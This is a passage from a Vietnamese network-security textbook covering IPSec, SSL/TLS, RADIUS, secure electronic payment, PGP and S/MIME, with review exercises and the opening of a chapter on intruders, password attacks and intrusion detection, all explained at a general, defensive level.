IPSec nằm ở tầng vận chuyển bên dưới nên trong suốt với mọi ứng dụng và có thể
trong suốt với người sử dụng đầu cuối. Nó có thể cung cấp an toàn cho người sử dụng
riêng biệt và bảo vệ kiến trúc rẽ nhánh.

VII.1.2 Kiến trúc an toàn IP

Đặc tả an toàn IP rất phức tạp, được định nghĩa qua một số chuẩn (RFC): bao gồm
RFC 2401/2402/2406/2408 và có nhiều chuẩn khác được nhóm theo loại. Điều này là
bắt buộc đối với IP6 và tuỳ chọn với IP4. Có hai mở rộng an toàn cho phần đầu:
Phần đầu xác thực (AH – Authentication Header)
Tải trọng an toàn đóng gói (ESP – Encapsulating Security Payload)
1. Dịch vụ IPSec
IPSec nhằm đạt các mục đích sau: kiểm soát truy cập, toàn vẹn không kết nối, xác
thực nguồn gốc dữ liệu, từ chối tải lại gói (đây là một dạng của toàn vẹn liên kết từng
phần), bảo mật (mã hoá), bảo mật luồng vận chuyển có giới hạn.
2. Liên kết an toàn
Quan hệ một chiều giữa người gửi và người nhận mà cung cấp sự an toàn cho luồng
vận chuyển và được xác định bởi 3 tham số
o Chỉ số tham số an toàn
o Địa chỉ IP đích
o Tên của thủ tục an toàn
Ngoài ra có một số các tham số khác như: chỉ số dãy (sequence number), thông tin về
phần đầu xác thực và phần đầu mở rộng AH & EH, thời gian sống. Có lưu trữ cơ sở
dữ liệu của các liên kết an toàn.
3. Phần đầu xác thực (Authentication Header - AH)
AH cung cấp sự hỗ trợ cho an toàn dữ liệu và xác thực của các gói IP:
o Hệ thống đầu cuối/chuyển mạch có thể xác thực người sử dụng/ứng dụng
 - 113 -
o Ngăn tấn công theo dõi địa chỉ bằng việc theo dõi các chỉ số dãy.
AH dựa trên sử dụng MAC: HMAC–MD5–96 hoặc HMAC – SHA -1-96
Muốn vậy các bên cần chia sẻ khoá mật.
4. Tải trọng an toàn đóng gói (ESP)
ESP đảm bảo bảo mật nội dung mẩu tin và luồng vận chuyển giới hạn, có lựa chọn
cung cấp dịch vụ xác thực và hỗ trợ phạm vi rộng các mã, các chế độ mã, bộ đệm
o Bao gồm DES, Triple DES, RC5, IDEA, CAST,…
o CBC và các chế độ khác
o Bộ đệm cần thiết để lấp đầy các kích thước khối, các trường cho luồng vận
chuyển
5. Chế độ vận chuyển và chế độ ống ESP
ESP được sử dụng với 2 chế độ: vận chuyển và ống. Trong chế độ ống không cần giữ
tường minh địa chỉ đích.
Chế độ vận tải được sử dụng để mã và tuỳ chọn xác thực dữ liệu IP:
o Dữ liệu được bảo vệ nhưng phần đầu vẫn để rõ để biết địa chỉ đích
o Có thể phân tích vận chuyển một cách hiệu quả
o Tốt đối với ESP máy chủ vận chuyển tới máy chủ
Chế độ ống mã toàn bộ gói IP
o Bổ sung phần đầu mới cho bước nhảy tiếp
o Tốt cho mạng riêng ảo VPN (Virtual Private Network), cổng đến cổng an toàn
6. Kết hợp các liên kết an toàn
Các liên kết an toàn có thể cài đặt qua AH hoặc ESP. Để cài đặt cả hai cần kết hợp
các liên kết an toàn
o Tạo nên bó các liên kết an toàn
o Có thể kết thúc tại các điểm cuối cùng nhau hoặc khác nhau
o Kết hợp bởi kề vận chuyển và ống lặp
Cần bàn luận về thứ tự xác thực và mã hoá
7. Quản trị khoá
Quản lý sinh khoá và phân phối khoá giữa các bên trao đổi thông tin, thông thường
cần hai cặp khoá, 2 khoá trên một hướng cho AH và ESP.
Trong cơ chế Quản trị khoá thủ công, người quản trị hệ thống thiết lập cấu hình cho
từng hệ thống.
Trong cơ chế Quản trị khoá tự động:
o Hệ thống tự động dựa vào yêu cầu về khoá cho các liên kết an toàn trong
hệ thống lớn.
o Có các thành phần như thủ tục trao đổi khóa Oakley và liên kết an toàn
trên mạng ISAKMP
8. Oakley
Oakley là thủ tục trao đổi khoá, dựa trên trao đổi khoá Diffie-Hellman. Ở đây bổ sung
các đặc trưng để khắc phục các điểm yếu như Cookies, nhóm (tham số tổng thể), các
chỉ số đặc trưng (nonces), trao đổi khoá Diffie Hellman với việc xác thực. Có thể sử
dụng số học trên trường số nguyên tố hoặc đường cong elip.
9. ISAKMP
 - 114 -
ISAKMP liên kết an toàn trên Internet và thủ tục quản trị khoá. Nó cung cấp khung
để quản lý khoá, xác định các thủ tục và định dạng gói để thiết lập, thỏa thuận, điều
chỉnh và xoá các liên kết an toàn (SA – Secure Associations). ISAKMP độc lập với
thủ tục trao đổi khoá, thuật toán mã hoá và phương pháp xác thực
Trao đổi và tải trọng ISAKMP
Có một số kiểu tải trọng ISAKMP: an toàn, đề xuất, dạng vận chuyển, khoá, định
danh, chứng nhận, hash, chữ ký, nonce và xoá.
ISAKMP có bộ khung cho 5 kiểu trao đổi mẩu tin:cơ sở, bảo vệ định danh, xác thực,
tích cực và thông tin.

VII.2 An toàn Web

VII.2.1 Khái niệm
Web ngày càng được sử dụng rộng rãi bởi các công ty, chính phủ và cá nhân, nhưng
Internet và Web có những lỗ hổng lớn và có nhiều mối đe doạ an toàn như:
o Tính toàn vẹn
o Bảo mật
o Từ chối dịch vụ
o Xác thực
Như vậy cần bổ sung cơ chế bảo mật cho Web.
VII.2.2 SSL (Secure Socket Layer)
SSL là dịch vụ an toàn tầng vận chuyển, ban đầu được phát triển bởi Netscape. Sau
đó phiên bản 3 của nó được thiết kế cho đầu vào công cộng và trở thành chuẩn
Internet, được biết đến như an toàn tầng vận chuyển TLS (Transport Layer Security).
SSL sử dụng giao thức TCP để cung cấp dịch vụ đầu cuối đến cuối tin cậy và có 2
tầng thủ tục

VII.2.3 Kiến trúc SSL

Ở đây kết nối SSL là:

o Tạm thời, đầu cuối đến đầu cuối, liên kết trao đổi
o Gắn chặt với 1 phiên SSL
 - 115 -
Và phiên SSL:
o Liên kết giữa người sử dụng và máy chủ
o Được tạo bởi thủ tục HandShake Protocol
o Xác định một tập các tham số mã hoá
o Có thể chia sẻ bởi kết nối SSL lặp

1. Dịch vụ thủ tục bản ghi SSL

Dịch vụ thủ tục bản ghi SSL đảm bảo tính toàn vẹn của bản tin:
o Sử dụng MAC với khoá mật chia sẻ
o Giống như HMAC nhưng với bộ đệm khác
và cung cấp bảo mật:
o Sử dụng mã đối xứng với khoá chung xác định bởi thủ tục HandShake.
o IDEA, RC2-40, DES-40, DES, 3DES, Fortezza, RC4-40, RC4-128
o Bản tin được nén trước khi mã
2. Thủ tục thay đổi đặc tả mã SSL (SSL Change Cipher Spec Protocol):
Đây là một trong 3 giao thức chuyên biệt của SSL sử dụng thủ tục bản ghi SSL. Đây
là mẩu tin đơn, buộc trạng thái treo trở thành hiện thời và cập nhật bộ mã đang dùng
3. Thủ tục nhắc nhở SSL (SSL Alert Protocol)
Truyền đi lời nhắc của SSL liên quan cho thành viên. Nghiêm khắc: nhắc nhở hoặc
cảnh báo
Nhắc nhở đặc biệt:
o cảnh báo: mẳu tin không chờ đợi, bản ghi MAC tồi, lỗi giải nén, lỗi
Handshake, tham số không hợp lệ
o Nhắc nhở: đóng ghi chú, không chứng nhận, chứng nhận tồi, chứng nhận
không được hỗ trợ, chứng nhận bị thu hồi, chứng nhận quá hạn, chứng
nhận không được biết đến.
Nén và mã như mọi dữ liệu SSL
4. Thủ tục bắt tay SSL (SSL HandShake Protocol)
1.
Thủ tục này cho phép máy chủ và máy trạm:
o Xác thực nhau
o Thỏa thuận thuật toán mã hoá và MAC
o Thỏa thuận khoá mã sẽ dùng
Nó bao gồm một loạt các thông tin:
o Thiết lập các khả năng an toàn
o Xác thực máy chủ và trao đổi khoá
o Xác thực máy trạm và trao đổi khoá
o Kết thúc
 - 116 -

5. An toàn tầng vận chuyển

IETF chuẩn RFC 2246 giống như SSLv3.

Với khác biệt nhỏ:

o số ký hiệu kích thước bản ghi

o sử dụng HMAC thay cho MAC

o hàm giả ngẫu nhiên tăng độ mật

o có mã ghi chú bổ sung

o có một số thay đổi hỗ trợ mã

o thay đổi kiểu chứng nhận và thỏa thuận

o thay đổi bộ đệm và tính toán mã

 - 117 -

Sau đây ta xem xét chi tiết giao thức xác thực người dùng RADIUS và giao thức
SSL:
Giao thức RADIUS
RADIUS là một dịch vụ dành cho việc xác nhận và cho phép người dùng truy cập từ xa
qua các thiết bị như môdem, DSL, cáp mạng hoặc các thiết bị không dây khác. Một site
thông thường có một máy chủ truy cập được kết nối vào một modem. Một máy chủ dịch
vụ RADIUS được kết nối vào mạng như một dịch vụ xác nhận. Những người dùng từ xa
gọi vào máy chủ truy cập, máy chủ sẽ yêu cầu những dịch vụ xác nhận từ máy chủ dịch
vụ RADIUS. Máy chủ dịch vụ RADIUS sẽ xác nhận người dùng và cho phép họ truy cập
tài nguyên.Những nhà quản trị mạng tạo ra những hồ sơ về người dùng ở máy chủ
RADIUS,xác định các quyền hạn cấp cho người dùng từ xa. Những giao thức hỏi đáp
được sử dụng trong suốt quá trình người dùng vào mạng.
Giao thức SSL
Được phát triển bởi Netscape, giao thức SSL đã được sử dụng rộng rãi trên mạng Internet
trong việc xác thực và mã hoá thông tin giữa máy trạm và máy chủ. Trong khi SSL có thể
sử dụng để hỗ trợ các giao dịch an toàn cho rất nhiều ứng dụng khác nhau trên Internet.
SSL không phải là một giao thức đơn lẻ, mà là một tập các thủ tục đã được chuẩn hoá để
thực hiện các nhiệm vụ bảo mật sau:
• Xác thực máy chủ: Cho phép người sử dụng xác thực được máy chủ muốn kết
nối. Lúc này, phía browser sử dụng các kỹ thuật mã hoá công khai để chắc chắn
rằng chứng chỉ và khoá công cộng của máy chủ là có giá trị và được cấp phát bởi
một CA trong danh sách các CA đáng tin cậy của máy trạm.
• Xác thực máy trạm: Cho phép phía máy chủ xác thực được người sử dụng muốn
kết nối. Phía máy chủ cũng sử dụng các kỹ thuật mã hoá công khai để kiểm tra
xem chứng chỉ và khoá công cộng của máy chủ có giá trị hay không và được cấp
phát bởi một CA trong danh sách các CA đáng tin cậy không.
• Mã hoá kết nối: Tất cả các thông tin trao đổi giữa máy trạm và máy chủ được mã
hoá trên đường truyền nhằm nâng cao khả năng bảo mật.

Hoạt động của SSL

Giao thức SSL hoạt động dựa trên hai nhóm con giao thức là giao thức “bắt tay” và giao
thức “bản ghi”. Giao thức bắt tay xác định các tham số giao dịch giữa hai đối tượng có
nhu cầu trao đổi thông tin hoặc dữ liệu, còn giao thức bản ghi xác định khuôn dạng cho
tiến hành mã hoá và truyền tin hai chiều giữa hai đối tượng đó.Giao thức SSL “bắt tay”
sẽ sử dụng SSL “bản ghi” để trao đổi một số thông tin giữa máy chủ và máy trạm vào lần
đầu tiên thiết lập kết nối SSL.
Một giao dịch SSL thường bắt đầu bởi quá trình “bắt tay” giữa hai bên. Các bước trong
quá trình “bắt tay” có thể như sau:
1. Máy trạm sẽ gửi cho máy chủ số phiên bản SSL đang dùng, các tham số của thuật
toán mã hoá, dữ liệu được tạo ra ngẫu nhiên (chữ ký số) và một số thông tin khác
mà máy chủ cần để thiết lập kết nối với máy trạm
2. Máy chủ gửi cho máy trạm số phiên bản SSL đang dùng, các tham số của thuật
toán mã hoá, dữ liệu được tạo ra ngẫu nhiên và một số thông tin khác mà máy
trạm cần để thiết lập kết nối với máy chủ. Ngoài ra máy chủ cũng gửi chứng chỉ
của nó đến máy trạm và yêu cầu chứng chỉ của máy trạm nếu cần.
 - 118 -
3. Máy trạm sử dụng một số thông tin mà máy chủ gửi đến để xác thực máy chủ.
Nếu như máy chủ không được xác thực thì người sử dụng sẽ được cảnh báo và kết
nối không được thiết lập. Còn nếu như xác thực được máy chủ thì phía máy trạm
sẽ thực hiện tiếp bước 4.
4. Sử dụng tất cả các thông tin được tạo ra trong giai đoạn bắt tay ở trên, máy trạm
(cùng với sự cộng tác của máy chủ và phụ thuộc vào thuật toán được sử dụng) sẽ
tạo ra premaster secret cho phiên làm việc, mã hoá bằng khoá công khai mà máy
chủ gửi đến trong chứng chỉ ở bước 2, và gửi đến máy chủ.
5. Nếu máy chủ có yêu cầu xác thực máy trạm, thì phía máy trạm sẽ đánh dấu vào
phần thông tin riêng chỉ liên quan đến quá trình “bắt tay” này mà hai bên đều biết.
Trong trường hợp này, máy trạm sẽ gửi cả thông tin được đánh dấu và chứng chỉ
của mình cùng với premaster secret đã được mã hoá tới máy chủ.
6. Máy chủ sẽ xác thực máy trạm. Trường hợp máy trạm không được xác thực,
phiên làm việc sẽ bị ngắt. Còn nếu máy trạm được xác thực thành công, máy chủ
sẽ sử dụng khoá bí mật để giải mã premaster secret, sau đó thực hiện một số bước
để tạo ra master secret.
7. Máy trạm và máy chủ sẽ sử dụng master secret để tạo ra các khoá phiên , đó chính
là các khoá đối xứng được sử dụng để mã hoá và giải mã các thông tin trong
phiên làm việc và kiểm tra tính toàn vẹn dữ liệu.
8. Máy trạm sẽ gửi một lời nhắn đến máy chủ thông báo rằng các thông điệp tiếp
theo sẽ được mã hoá bằng khoá phiên. Sau đó nó gửi một lời nhắn đã được mã
hoá để thông báo rằng phía máy trạm đã kết thúc giai đoạn “bắt tay”.
9. Máy chủ cũng gửi một lời nhắn đến máy trạm thông báo rằng các thông điệp tiếp
theo sẽ được mã hoá bằng khoá phiên. Sau đó nó gửi một lời nhắn đã được mã
hoá để thông báo rằng máy chủ đã kết thúc giai đoạn “bắt tay”.
10. Lúc này giai đoạn “bắt tay” đã hoàn thành, và phiên làm việc SSL bắt đầu. Cả hai
phía máy trạm và máy chủ sẽ sử dụng các khoá phiên để mã hoá và giải mã thông
tin trao đổi giữa hai bên, và kiểm tra tính toàn vẹn dữ liệu

VII.3 Thanh toán điện tử an toàn

VII.3.1 Yêu cầu

Đây là mã mở và đặc tả an toàn nhằm bảo vệ thanh toán thẻ tín dụng trên Internet. Nó
được phát triển năm 1996 bởi Master, Visa Card và không phải hệ thống trả tiền.
Thanh toán điện tử an toàn là tập các giao thức và định dạng an toàn dùng để
o Trao đổi an toàn giữa các đối tác
o Tin tưởng vì sử dụng X509v3
o Riêng biệt vì hạn chế thông tin cho người cần

Các thành phần Thanh toán điện tử

 - 119 -

VII.3.2 Thanh toán điện tử an toàn

1. Người mua mở tài khoản
2. Người mua nhận được chứng nhận
3. Người bán có chứng nhận của họ
4. Người mua đặt hàng
5. Người bán được kiểm chứng
6. Đơn đặt hàng và trả tiền được gửi
7. Người bán yêu cầu giấy phép trả tiền
8. Người bán duyệt đơn đặt hàng
9. Người bán cung cấp hàng và dịch vụ
10. Người bán yêu cầu trả tiền
VII.3.3 Chữ ký kép
Người mua tạo chữ ký kép
o Thông tin đơn đặt OI cho người bán
o Thông tin trả tiền PI cho ngân hàng
Không bên nào biết chi tiết của người khác. Nhưng cần phải biết là họ được kết nối
với nhau. Sử dụng chữ ký kép cho mục đích này
o Ký trên bản ghép của OI và PI
VII.3.3 Yêu cầu trả tiền
Trao đổi yêu cầu trả tiền gồm 4 mẩu tin sau
1. Khởi tạo yêu cầu - nhận chứng nhận
2. Khởi tạo trả lời – ký trả lời
3. Yêu cầu trả tiền - của OI và PI
4. Trả lời trả tiền – đơn phúc đáp
VII.3.4 Yêu cầu trả tiền – người mua
 - 120 -

VII.3.5 Yêu cầu trả tiền – người bán

1. Kiểm tra chứng nhận người giữ thẻ bằng chữ ký của CA
2. Kiểm tra chữ ký kép bằng cách sử dụng khoá chữ ký công khai của người mua
để tin tưởng rằng đơn không bị giả mạo khi truyền và được ký sử dụng chữ ký
khoá riêng của người giữ thẻ.
3. Xử lý đơn đặt và gửi tiếp thông tin trả tiền cho cổng trả tiền để xác thực (mô
tả sau)
4. Gửi phản hồi trả tiền cho người giữ thẻ

VII.3.6 Giấy phép cổng trả tiền

 - 121 -
1. Kiểm chứng mọi chứng nhận
2. Giải mã phong bì điện tử của khối giấy phép và nhận được khoá đối xứng, sau
đó giải mã khối giấy phép
3. Kiểm tra chữ ký của người bán trên khối giấy phép
4. Giải mã phong bì điện tử khối trả tiền, nhận được khoá đối xứng, sau đó giải
mã khối trả tiền
5. Kiểm tra chữ ký kép trên khối trả tiền
6. Kiểm tra rằng, thanh toán ID nhận được từ người bán phù hợp với danh tính
trong PI nhận được (không trực tiếp) từ người bán
7. Yêu cầu và nhận được giấy phép từ nơi phát hành
8. Gửi trả lời giấy phép cho người bán

VII.3.7 Nhận trả tiền

Người bán gửi cho cổng trả tiền yêu cầu nhận trả tiền. Cổng kiểm tra yêu cầu đó. Sau
đó yêu cầu chuyển tiền đến tài khoản người bán. Thông báo cho người bán và chờ trả
lời việc nhận.

VII.4 An toàn thư điện tử

Thư điện tử là một trong những dịch vụ mạng được coi trọng và ứng dụng rộng rãi nhất.
Đồng thời nội dung của các mẩu tin không an toàn. Có thể bị quan sát trên đường truyền
hoặc bởi những người có thẩm quyền thích hợp ở hệ thống đầu cuối.
Nâng cao an toàn thư điện tử là mục đích quan trọng của mọi hệ thống trao đổi thư. Ở
đây phải đảm bảo các yêu cầu sau: tính bảo mật nội dung tin gửi, xác thực người gửi mẩu
tin, tính toàn vẹn của mẩu tin, hơn nữa bảo vệ khỏi bị sửa, tính chống từ chối gốc, chống
từ chối của người gửi.

VII.4.1 Dịch vụ PGP.

PGP (Pretty Good Privacy) là một dịch vụ về bảo mật và xác thực được sử dụng rộng rãi
cho chuẩn an toàn thư điện tử. PGP được phát triển bởi Phil Zimmermann. Ở đây lựa
chọn các thuật toán mã hoá tốt nhất để dùng, tích hợp thành một chương trình thống nhất,
có thể chạy trên Unix, PC, Macintosh và các hệ thống khác. Ban đầu là miĩen phí, bây
giờ có các phiên bản thương mại. Sau đây chúng ta xem xét hoạt động của PGP

Thao tác PGP – xác thực

Người gửi tạo mẩu tin, sử dụng SHA-1 để sinh Hash 160 bit của mẩu tin, ký hash với
RSA sử dụng khoá riêng của người gửi và đính kèm vào mẩu tin.
Người nhận sử dụng RSA với khoá công khai của người gửi để giải mã và khôi phục bản
hash. Người nhận kiểm tra mẩu tin nhận sử dụng bản hash của nó và so sánh với bản hash
đã được giải mã.

Thao tác PGP – bảo mật

Người gửi tạo mẩu tin và số ngẫu nhiên 128 bit như khoá phiên cho nó, mã hoá mẩu tin
sử dụng CAST-128/IDEA /3DES trong chế độ CBC với khoá phiien đó. Khoá phiên
được mã sử dụng RSA với khoá công khai người nhận và đính kèm với mẩu tin.
 - 122 -
Người nhận sử dụng RSA với khoá riêng để giải mã và khôi phục khoá phiên. Khoá
phiên được sử dụng để giải mã mẩu tin.

Thao tác PGP - Bảo mật và xác thực

Có thể sử dụng cả hai dịch vụ trên cùng một mẩu tin. Tạo chữ ký và đính vào mẩu tin,
sau đó mã cả mẩu tin và chữ ký. Đính khoá phiên đã được mã hoá RSA/ElGamal.

Thao tác PGP – nén

Theo mặc định PGP nén mẩu tin sau khi ký nhưng trước khi mã. Như vậy cần lưu mẩu
tin chưa nén và chữ ký để kiểm chứng về sau. Vì rằng nén là không duy nhất. Ở đây sử
dụng thuật toán nén ZIP.

Thao tác PGP – tương thích thư điện tử

Khi sử dụng PGP sẽ có dữ liệu nhị phân để gửi (mẩu tin được mã). Tuy nhiên thư điện tử
có thể thiết kế chỉ cho văn bản. Vì vậy PGP cần mã dữ liệu nhị phân thô vào các ký tự
ASCII in được. Sau đó sử dụng thuật toán Radix 64, ánh xạ 3 byte vào 4 ký tự in được và
bổ sung kiểm tra thừa quay vòng CRC để phát hiện lỗi khi truyền. PGP sẽ chia đoạn mẩu
tin nếu nó quá lớn.

Tóm lại, cần có khoá phiên cho mỗi mẩu tin, có kích thước khác nhau: 56 bit – DES, 128
bit CAST hoặc IDEA, 168 bit Triple – DES, được sinh ra sử dụng dữ liệu đầu vào ngẫu
nhiên lấy từ sử dụng trước và thời gian gõ bàn phím của người sử dụng

Khoá riêng và công khai của PGP

Vì có nhiều khoá riêng và khoá công khai có thể được sử dụng, nên cần phải xác định rõ
cái nào được dùng để mã khoá phiên trong mẩu tin. Có thể gửi khoá công khai đầy đủ với
 - 123 -
từng mẩu tin. Nhưng đều đó là không đủ, vì cần phải nêu rõ danh tính của người gửi. Do
đó có thể sử dụng định danh khoá để xác định người gửi. Có ít nhất 64 bit có ý nghĩa của
khoá và là duy nhất, có thể sử dụng định danh của khoá trong chữ ký.

PGP Message Format

Các chùm khoá PGP

Mỗi người sử dụng PGP có một cặp chùm khoá. Chùm khoá công khai chứa mọi khoá
công khai của các người sử dụng PGP khác được người đó biết và được đánh số bằng
định danh khoá (ID key). Chùm khoá riêng chứa các cặp khoá công khai/riêng của người
đó được đánh số bởi định danh khoá và mã của khoá lấy từ giai đoạn duyệt hash. An toàn
của khoá công khai như vậy phụ thuộc vào độ an toàn của giai đoạn duyệt.

Sinh mẩu tin PGP

Sơ đồ sau mô tả qui trình sinh mẩu tin PGP để gửi cho người nhận.
 - 124 -
Nhận mẩu tin PGP

Sơ đồ sau nêu cách người nhận giải mã, kiểm chứng thông tin để đọc mẩu tin.

Quản lý khoá PGP

Tốt hơn hết dựa vào chủ quyền chứng nhận. Trong PGP mỗi người sử dụng có một CA
của mình. Có thể ký khoá cho người sử dụng mà anh ta biết trực tiếp. Tạo thành “Web
của niềm tin”. Cần tin cậy khóa đã được ký, và tin cậy các khoá mà các người khác ký
khi dùng một dây chuyền các chữ ký đến nó.
Chùm khoá chưá cả các chỉ dẫn tin cậy. Người sử dụng có thể thu hồi khoá của họ
 - 125 -
VII.4.2 Mở rộng thư Internet đa mục đích/an toàn S/MIME
Tăng cường an toàn cho thư điện tử đa mục đích mở rộng MIME (Multipurpose Internet
Mail Extension). Thư điện tử Internet RFC822 gốc chỉ có văn bản, MIME cung cấp hỗ
trợ cho nhiều kiểu nội dung và mẩu tin có nhiều phần với mã hoá dữ liệu nhị phân thành
dạng văn bản.
S/MIME tăng cường tính an toàn, có hỗ trợ của S/MIME trong nhiều tác nhân thư điện tử
như MS Outlook, Mozilla, Mac Mail, …
Các chức năng S/MIME
Dữ liệu đóng phong bì, nội dung được mã hoá và liên kết khoá, dữ liệu được ký, mẩu tin
được mã và ký sau nén, dữ liệu rõ ràng được ký, mẩu tin tường minh và mã hoá ch ữ ký
trên bản nén, dữ liệu đóng phong bì và ký, lồng nhau các th ực th ể ký và mã.
Các thuật toán mã hoá S/MIME
Các chữ ký điện tử DSS và RSA, các hàm hash: SHA-1 và MD5, mã khoá phiên:
Elgamal & RSA, mã mẩu tin: AES, Triple-DES, RC2/40, …;MAC: HMAC với SHA-1.
Có quá trình để đối thoại quyết định sử dụng thuật toán nào.
Các mẩu tin S/MIME
S/MIME bảo vệ các thực thể MIME với chữ ký, mã hoặc cả hai tạo thành các đối tượng
đóng gói MIME. Có phạm vi các kiểu nội dung khác nhau: dữ liệu đóng phong bì, dữ liệu
được ký, dữ liệu rõ ràng được ký, yêu cầu đăng ký, chứng nhận mẩu tin.
Quá trình chứng nhận S/MIME
S/MIME sử dụng chứng nhận X.509 phiên bản 3. Quản trị việc sử dụng kết hợp sơ đồ
phân cấp CA của X.509 và Web niềm tin của PGP. Mỗi client có một danh sách các giấy
chứng nhận cho CA tin cậy và có các giấy chứng nhận và cặp khoá công khai/riêng của
mình. Chứng nhận cần được ký bởi các CA tin cậy.

Chủ quyền chứng nhận CA (Certificate Authorities)

Có một số CA mọi người đều biết. Verisign là một CA được sử dụng rộng rãi. Verisign
xuất bản một số kiểu định danh điện tử. Tăng mức kiểm tra và kéo theo độ tin cậy.

Bài tập

1. Nêu mục đích IPSec, các tham số, AH và ESP

2. Nêu mục đích SSL và TLS. Trình bày kiến trúc và nhiệm vụ của các thành
phần của chúng.
3. Thế nào là thanh toán điện tử an toàn
4. Nêu yêu cầu của chữ ký kép và chứng tỏ chữ ký kép trong thanh toán điện tử
an toàn đáp ứng các yêu cầu đó.
5. Nêu qui trình thanh toán điện tử an toàn, chứng tỏ nó đáp ứng được các yêu
cầu an toàn đề ra.
6. Nêu các yêu cầu bảo mật, xác thực, chữ ký điện tử của hệ thống thư địên tử.
7. Trình bày giải pháp đề xuất của PGP cho hệ thống thư điện tử.
8. Tìm hiểu xác thực cở bản HTTP trong Internet Explorer.
 - 126 -

CHƯƠNG 8:
KẺ XÂM NHẬP, PHẦN MỀM CÓ HẠI VÀ
BỨC TƯỜNG LỬA

VIII.1 Kẻ xâm nhập

VIII.1.1 Khái niệm
Vấn đề quan trọng đối với hệ thống mạng là chống lại việc truy cập không mong
muốn qua mạng máy tính lớn hoặc cục bộ. Chúng ta có thể phân loại kẻ xâm nhập
như sau:
o Kẻ giả danh
o Kẻ lạm quyền
o Người sử dụng giấu mặt
Có nhiều mức độ khả năng khác nhau xâm nhập khác nhau. Rõ ràng vấn đề trên được
công khai và trở nên bức xúc
o Từ Wily Hacker” trong năm 1986/1987
o đến việc tăng nhanh các đội ứng cứu tình trạng khẩn cấp của máy tính
Với đội ứng cứu có thể cảm thấy bình an nhưng đòi hỏi các nguồn chi bổ sung để
phát triển và duy trì hoạt động. Kẻ xâm nhập có thể sử dụng các hệ thống làm hại để
tấn công.

VIII.1.2 Các kỹ thuật xâm phạm

Mục tiêu của kẻ xâm nhập là dành quyền truy cập hoặc tăng quyền trong hệ thống.
Các phương pháp tấn công cơ bản bao gồm
o Tìm mục tiêu và thu thập thông tin
o Truy cập ban đầu
o Leo thang quyền
o Lần vết khôi phục
Mục tiêu chính là giành được mật khẩu và sau đó dùng quyền truy cập của người sở
hữu.

VIII.1.3 Đoán mật khẩu

Đoán mật khẩu là một trong các hướng tấn công chung nhất. Kẻ tấn công đã biết tên
người sử dụng đăng nhập (từ trang email/web) và tìm cách đoán mật khẩu.
o Mặc định, mật khẩu ngắn, tìm kiếm các từ chung
o Thông tin của người dùng (thay đổi tên, ngày sinh, số điện thoại, các mối
quan tâm và từ chung)
o Tìm kiếm tổng thể mọi khả năng của mật khẩu
Kẻ xâm nhập kiểm tra đăng nhập với tệp mật khẩu đánh cắp được. Sự thành công của
việc đoán mật khẩu phụ thuộc vào mật khẩu được chọn bởi người dùng. Tổng quan
chỉ ra rằng nhiều người sử dụng chọn mật khẩu không cẩn thận.
Nắm bắt mật khẩu
Tấn công khác bao gồm nắm bắt mật khẩu
o Theo dõi qua vai khi nhập password
 - 127 -
o Sử dụng chương trình ngựa thành Toroa để thu thập
o Theo dõi login mạng không an toàn, chẳng hạn Telnet, FTP, Web, email.
o Chắt lọc thông tin ghi lại được sau lần vào mạng thành công (đệm/lịch sử
web, số quay cuối,…)
o Sử dụng login/password đúng để nhại lại người sử dụng
Người sử dụng cần được học để dùng các biện pháp đề phòng và ngăn ngừa thích
hợp.

VIII.1.4 Phát hiện xâm nhập

Chắc chắn có lỗi an toàn ở đâu đó. Như vậy để phát hiện xâm nhập cần phải
o Chia khối để phát hiện nhanh
o Hành động ngăn chặn
o Thu thập thông tin để tăng cường an toàn
Giả thiết rằng kẻ xâm nhập sẽ hành động khác so với người dùng hợp pháp
o Nhưng sẽ có sự khác biệt nhỏ giữa họ
1. Các cách tiếp cận phát hiện xâm nhập
Phát hiện thống kê bất thường
o Vượt qua ngưỡng thống kê nào đó
o Dựa trên mô tả
Dựa trên qui tắc
o Hành động bất thường
o Định danh thâm nhập
2. Kiểm tra các bản ghi
Công cụ cơ bản để phát hiện xâm nhập là kiểm tra bản ghi đơn giản
o Một phần của hệ điều hành đa người sử dụng
o Sẵn sàng để sử dụng
o Có thể không có thông tin trong định dạng mong muốn
Tiến hành kiểm tra các bản ghi chuyên dùng để phát hiện
o Được tạo chuyên dùng để thu thập một số thông tin mong muốn
o Trả giá chi phí bổ sung trong hệ thống
3. Phát hiện thống kê bất thường
Phát hiện ngưỡng
o Đếm sự xuất hiện của sự kiện đặc biệt theo thời gian
o Nếu vượt quá giá trị nào đó thì cho là đã có xâm nhập
o Nếu chỉ dùng nó thì đây là phát hiện thô không hiệu quả
Dựa trên mô tả
o Đặc trưng hành vi quá khứ của người sử dụng
o Phát hiện hệ quả quan trọng từ đó
o Mô tả bằng nhiều tham số
4. Phân tích kiểm tra bản ghi
Đây là cơ sở của cách tiếp cận thống kê. Phân tích bản ghi để nhận được các số đo
theo thời gian
o Số đếm, đo, thời gian khoảng, sử dụng nguồn
 - 128 -
Sử dụng các kiểm tra khác nhau trên số liệu phân tích để xác định hành vi hiện tại có
chấp nhận được không
o Tính kỳ vọng, phương sai, biến nhiều chiều, quá trình Markov, chuỗi thời
gian, thao tác
Ưu điểm chính là không sử dụng kiến thức biết trước
5. Phát hiện xâm nhập dựa trên qui tắc
Quan sát các sự kiện trong hệ thống và áp dụng các qui tắc để quyết định hoạt động
đó có đáng nghi ngờ hay không. Phát hiện bất thường dựa trên qui tắc
o Phân tích các bản ghi kiểm tra cũ để xác định mẫu sử dụng và qui tắc tự
sinh cho chúng
o Sau đó quan sát hành vi hiện tại và sánh với các qui tắc để nhận thấy nếu
nó phù hợp
o Giống như phát hiện thống kê bất thường không đòi hỏi kiến thức biết
trước về sai lầm an toàn
Định danh sự thâm nhập dựa vào qui tắc
o Sử dụng công nghệ hệ chuyên gia
o Với qui tắc định danh sự xâm nhập đã biết, các mẫu điểm yếu, hoặc các
hành vi nghi ngờ
o So sánh các bản ghi kiểm tra hoặc các trạng thái theo qui tắc
o Qui tắc được sinh bởi các chuyên gia nhũng người đã phỏng vấn và hệ
thống kiến thức của các quản trị an toàn
o Chất lượng phụ thuộc vào cách thức thực hiện các điều trên
Ảo tưởng dựa trên tỷ lệ
o Thực tế phát hiện xâm nhập hệ thống cần phát hiện tỷ lệ xâm nhập đúng
với rất ít cảnh báo sai
 Nếu rất ít sự xâm nhập được phát hiện -> an toàn không tốt
 Nếu rất nhiều cảnh báo sai -> bỏ qua/phí thời gian
o Điều đó rất khó thực hiện
o Các hệ thống tồn tại hình như không có các bản ghi tốt
Phát hiện xâm nhập phân tán
o Truyền thống thường tập trung hệ thống đơn lẻ
o Nhưng thông thường có các hệ thống máy tính
